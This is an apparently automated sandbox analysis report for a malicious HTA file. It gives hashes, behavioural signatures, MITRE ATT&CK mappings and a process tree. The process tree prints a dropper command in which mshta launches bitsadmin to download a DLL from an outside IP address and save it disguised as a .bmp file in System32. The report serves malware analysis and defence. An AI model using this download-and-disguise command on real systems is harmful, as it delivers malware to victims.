a70223a402bd753f82fcf6fb85dcd2a82a1d718e6fe3ae84ca6cc956a02786c5

Analysis

max time kernel
29s
max time network
37s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
07/02/2023, 10:41

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General

Target
azienda_25.hta
Size 6KB
Sample230207-mq4v2sec8x
SHA256 a70223a402bd753f82fcf6fb85dcd2a82a1d718e6fe3ae84ca6cc956a02786c5
MD5 6a933e21ead601f7e56b0e973fc515a2
SHA1 fa34e413ba6e72769b566df60710198987a37f8c
SHA512 fe7034a5f97f935efc195aad9be4977291410f06f0e012d8da78cd8f70c3fd24b1e58b61647a0421df6eca85098aaeb3e75a9fc4bff096905ae89a9f828fcadf
SSDEEP 96:weB2uLVTUoPg2pwTEeD4b7KdaO3iOaLt3M8Mn3XTPMJsb0ODcFE+Voq3V4dV96rQ:fRU77rIKdn863jMM0OD9+VVF43xYkuE
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2016	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
752	bitsadmin.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2016 wrote to memory of 752	2016	mshta.exe	29
PID 2016 wrote to memory of 752	2016	mshta.exe	29
PID 2016 wrote to memory of 752	2016	mshta.exe	29
PID 2016 wrote to memory of 752	2016	mshta.exe	29

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\azienda_25.hta"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2016
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer 8 http://193.0.179.30/azienda.dll C:\Windows\\System32\\LogFiles\\\login.bmp
  2⤵
  - Download via BitsAdmin
  PID:752

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/752-55-0x00000000763A1000-0x00000000763A3000-memory.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads